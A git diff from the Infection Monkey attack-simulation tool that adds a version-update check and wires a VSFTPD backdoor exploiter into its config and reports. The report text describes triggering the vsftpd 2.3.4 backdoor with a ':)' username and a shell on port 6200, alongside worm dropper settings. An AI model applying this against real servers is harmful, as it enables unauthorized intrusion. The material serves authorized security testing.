b/monkey/infection_monkey/windows_upgrader.py index 67b1c3cbd..a79d38490 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -37,8 +37,8 @@ class WindowsUpgrader(object): with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - except (IOError, AttributeError): - LOG.error("Failed to download the Monkey to the target path.") + except (IOError, AttributeError) as e: + LOG.error("Failed to download the Monkey to the target path: %s." % e) return monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b1697f5a5..205785486 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -28,6 +28,7 @@ from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.pba_file_download import PBAFileDownload +from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.services.config import ConfigService from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService @@ -83,18 +84,14 @@ def output_json(obj, code, headers=None): return resp -def init_app(mongo_url): - app = Flask(__name__) - - api = flask_restful.Api(app) - api.representations = {'application/json': output_json} - +def init_app_config(app, mongo_url): app.config['MONGO_URI'] = mongo_url - app.config['SECRET_KEY'] = str(uuid.getnode()) app.config['JWT_AUTH_URL_RULE'] = '/api/auth' app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time() + +def init_app_services(app): init_jwt(app) mongo.init_app(app) @@ -105,9 +102,13 @@ def init_app(mongo_url): # If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island. RemoteRunAwsService.init() + +def init_app_url_rules(app): app.add_url_rule('/', 'serve_home', serve_home) app.add_url_rule('/', 'serve_static_file', serve_static_file) + +def init_api_resources(api): api.add_resource(Root, '/api') api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/') api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/') @@ -130,5 +131,18 @@ def init_app(mongo_url): '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(AttackTelem, '/api/attack/') + api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') + + +def init_app(mongo_url): + app = Flask(__name__) + + api = flask_restful.Api(app) + api.representations = {'application/json': output_json} + + init_app_config(app, mongo_url) + init_app_services(app) + init_app_url_rules(app) + init_api_resources(api) return app diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index e30e0eebd..73cb813fe 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -16,6 +16,7 @@ class Environment(object): _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME))) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(hours=1) + _testing = False @property @@ -26,6 +27,9 @@ class Environment(object): def testing(self, value): self._testing = value + _MONKEY_VERSION = "1.6.3" + + def __init__(self): self.config = None self._testing = False # Assume env is not for unit testing. @@ -50,6 +54,21 @@ class Environment(object): h.update(secret) return h.hexdigest() + def get_deployment(self): + return self._get_from_config('deployment', 'unknown') + + def is_develop(self): + return self.get_deployment() == 'develop' + + def get_version(self): + return self._MONKEY_VERSION + ('-dev' if self.is_develop() else '') + + def _get_from_config(self, key, default_value=None): + val = default_value + if self.config is not None: + val = self.config.get(key, val) + return val + @abc.abstractmethod def get_auth_users(self): return diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py new file mode 100644 index 000000000..5b34f4206 --- /dev/null +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -0,0 +1,24 @@ +import flask_restful +import logging + +from monkey_island.cc.environment.environment import env +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.version_update import VersionUpdateService + +__author__ = 'itay.mizeretz' + +logger = logging.getLogger(__name__) + + +class VersionUpdate(flask_restful.Resource): + def __init__(self): + super(VersionUpdate, self).__init__() + + # We don't secure this since it doesn't give out any private info and we want UI to know version + # even when not authenticated + def get(self): + return { + 'current_version': env.get_version(), + 'newer_version': VersionUpdateService.get_newer_version(), + 'download_link': VersionUpdateService.get_download_link() + } diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 2d1a5995b..420f1b303 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,3 +1,4 @@ { - "server_config": "standard" -} \ No newline at end of file + "server_config": "standard", + "deployment": "develop" +} diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 3ec3c7212..0844969a0 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -91,6 +91,13 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter" } ] }, @@ -250,8 +257,9 @@ SCHEMA = { "default": [ ], "description": - "List of IPs/subnets the monkey should scan." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + "List of IPs/subnets/hosts the monkey should scan." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"," + " \"printer.example\"" } } }, @@ -557,14 +565,14 @@ SCHEMA = { "dropper_target_path_win_32": { "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey32.exe", + "default": "C:\\Windows\\temp\\monkey32.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " "(32bit)" }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", - "default": "C:\\Windows\\monkey64.exe", + "default": "C:\\Windows\\temp\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " "(64 bit)" }, @@ -721,7 +729,8 @@ SCHEMA = { "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a19dc03c0..21dcea0bc 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -41,7 +41,8 @@ class ReportService: 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter' + 'MSSQLExploiter': 'MSSQL Exploiter', + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' } class ISSUES_DICT(Enum): @@ -57,7 +58,8 @@ class ReportService: WEBLOGIC = 9 HADOOP = 10 PTH_CRIT_SERVICES_ACCESS = 11, - MSSQL = 12 + MSSQL = 12, + VSFTPD = 13 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -254,6 +256,7 @@ class ReportService: else: processed_exploit['type'] = 'hash' return processed_exploit + return processed_exploit @staticmethod def process_smb_exploit(exploit): @@ -289,6 +292,12 @@ class ReportService: processed_exploit['type'] = 'rdp' return processed_exploit + @staticmethod + def process_vsftpd_exploit(exploit): + processed_exploit = ReportService.process_general_creds_exploit(exploit) + processed_exploit['type'] = 'vsftp' + return processed_exploit + @staticmethod def process_sambacry_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -355,7 +364,8 @@ class ReportService: 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit + 'MSSQLExploiter': ReportService.process_mssql_exploit, + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -644,6 +654,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True elif issue['type'] == 'sambacry': issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True + elif issue['type'] == 'vsftp': + issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True elif issue['type'] == 'shellshock': issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py new file mode 100644 index 000000000..3d43017f6 --- /dev/null +++ b/monkey/monkey_island/cc/services/version_update.py @@ -0,0 +1,57 @@ +import logging + +import requests + +from monkey_island.cc.environment.environment import env + +__author__ = "itay.mizeretz" + +logger = logging.getLogger(__name__) + + +class VersionUpdateService: + VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com' + VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s' + VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true' + + newer_version = None + + def __init__(self): + pass + + @staticmethod + def get_newer_version(): + """ + Checks for newer version if never checked before. + :return: None if failed checking for newer version, result of '_check_new_version' otherwise + """ + if VersionUpdateService.newer_version is None: + try: + VersionUpdateService.newer_version = VersionUpdateService._check_new_version() + except Exception: + logger.exception('Failed updating version number') + + return VersionUpdateService.newer_version + + @staticmethod + def _check_new_version(): + """ + Checks if newer monkey version is available + :return: False if not, version in string format ('1.6.2') otherwise + """ + url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), env.get_version()) + + reply = requests.get(url, timeout=15) + + res = reply.json().get('newer_version', None) + + if res is False: + return res + + [int(x) for x in res.split('.')] # raises value error if version is invalid format + return res + + @staticmethod + def get_download_link(): + return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version()) + diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index da8e59113..8229133e6 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -20,6 +20,7 @@ import 'react-data-components/css/table-twbs.css'; import 'styles/App.css'; import 'react-toggle/style.css'; import 'react-table/react-table.css'; +import VersionComponent from "./side-menu/VersionComponent"; let logoImage = require('../images/monkey-icon.svg'); let infectionMonkeyImage = require('../images/infection-monkey.svg'); @@ -85,7 +86,7 @@ class AppComponent extends AuthComponent { infection_done: false, report_done: false, isLoggedIn: undefined - } + }, }; } @@ -175,6 +176,7 @@ class AppComponent extends AuthComponent {
License
+ ()}/> diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 43be6367c..eb94792ab 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent { WEBLOGIC: 9, HADOOP: 10, PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12 + MSSQL: 12, + VSFTPD: 13 }; Warning = @@ -298,20 +299,24 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length > 0 ?
- During this simulated attack the Monkey uncovered {this.state.report.overview.issues.filter(function (x) { return x === true; }).length} threats:
    {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? -
  • Stolen SSH keys are used to exploit other machines.
  • : null } +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ?
  • Elasticsearch servers are vulnerable to CVE-2015-1427.
  • : null} + {this.state.report.overview.issues[this.Issue.VSFTPD] ? +
  • VSFTPD is vulnerable to CVE-2011-2523. +
  • : null} {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
  • Samba servers are vulnerable to ‘SambaCry’ ( + Update your VSFTPD server to the latest version vsftpd-3.0.3. + + The machine {issue.machine} ({issue.ip_address}) has a backdoor running at port 6200. +
    + The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. +

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200. +

    + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200. +

    Read more about the security issue and remediation
    here. + +
  • + ); + } + generateElasticIssue(issue) { return (
  • @@ -896,6 +924,9 @@ generateMSSQLIssue(issue) { generateIssue = (issue) => { let data; switch (issue.type) { + case 'vsftp': + data = this.generateVsftpdBackdoorIssue(issue); + break; case 'smb_password': data = this.generateSmbPasswordIssue(issue); break; diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js b/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js new file mode 100644 index 000000000..1246b5b94 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js @@ -0,0 +1,46 @@ +import React from 'react'; +import {Icon} from 'react-fa'; + +class VersionComponent extends React.Component { + constructor(props) { + super(props); + this.state = { + currentVersion: undefined, + newerVersion: undefined, + downloadLink: undefined + } + } + + componentDidMount() { + fetch('/api/version-update') // This is not authenticated on purpose + .then(res => res.json()) + .then(res => { + this.setState({ + currentVersion: res['current_version'], + newerVersion: res['newer_version'], + downloadLink: res['download_link'], + }); + }); + } + + render() { + return ( +
    + Infection Monkey Version: {this.state.currentVersion} + { + this.state.newerVersion ? +
    + Newer version available! +
    + Download here +
    + : + undefined + } +
    + ); + } +} + + +export default VersionComponent; diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 6155a4dcc..b44fa4562 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -515,3 +515,13 @@ body { } } + +.version-text { + font-size: 0.9em; + position: absolute; + bottom: 5px; + left: 0; + right: 0; + margin-left: auto; + margin-right: auto; +} diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index a00a2078b..2395454b6 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -3,19 +3,19 @@ export os_version_monkey=$(cat /etc/issue) MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb -if [[ $os_version_monkey == "Ubuntu 16.04"* ]] ; +if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]] ; then echo Detected Ubuntu 16.04 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-3.6.12.tgz" -elif [[ $os_version_monkey == "Ubuntu 18.04"* ]] ; +elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ; then echo Detected Ubuntu 18.04 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz" -elif [[ $os_version_monkey == "Debian GNU/Linux 8"* ]] ; +elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ; then echo Detected Debian 8 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-3.6.12.tgz" -elif [[ $os_version_monkey == "Debian GNU/Linux 9"* ]] ; +elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]] ; then echo Detected Debian 9 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.12.tgz" @@ -25,15 +25,15 @@ else fi TEMP_MONGO=$(mktemp -d) -pushd $TEMP_MONGO -wget $tgz_url -O mongodb.tgz +pushd ${TEMP_MONGO} +wget ${tgz_url} -O mongodb.tgz tar -xf mongodb.tgz popd -mkdir -p $MONGODB_DIR/bin -cp $TEMP_MONGO/mongodb-*/bin/mongod $MONGODB_DIR/bin/mongod -cp $TEMP_MONGO/mongodb-*/LICENSE-Community.txt $MONGODB_DIR/ -chmod a+x $MONGODB_DIR/bin/mongod -rm -r $TEMP_MONGO +mkdir -p ${MONGODB_DIR}/bin +cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod +cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/ +chmod a+x ${MONGODB_DIR}/bin/mongod +rm -r ${TEMP_MONGO} exit 0 \ No newline at end of file diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 344e6b736..956892e23 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -65,12 +65,8 @@ How to run: 4. Setup MongoDB (Use one of the two following options): 4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb - for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz - for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz - find more at - https://www.mongodb.org/downloads#production - untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb - (make sure the content of the mongo folder is in this directory, meaning this path exists: - /var/monkey_island/bin/mongodb/bin) + 4.a.1. Run '/var/monkey_island/linux/install_mongo.sh /var/monkey_island/bin/mongodb' + This will download and extract the relevant mongoDB for your OS. OR 4.b. Use already running instance of mongodb 4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 6b0b68031..6e57d9128 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -1,3 +1,4 @@ +bson python-dateutil tornado==5.1.1 werkzeug @@ -18,9 +19,9 @@ boto3 botocore PyInstaller awscli -bson cffi virtualenv wheel mongoengine mongomock +requests diff --git a/monkey/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat index 970e98874..106b5f00a 100644 --- a/monkey/monkey_island/windows/run_mongodb.bat +++ b/monkey/monkey_island/windows/run_mongodb.bat @@ -1,3 +1,3 @@ REM - Runs MongoDB Server - @title MongoDB -@bin\mongodb\mongod.exe --dbpath db \ No newline at end of file +@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1 \ No newline at end of file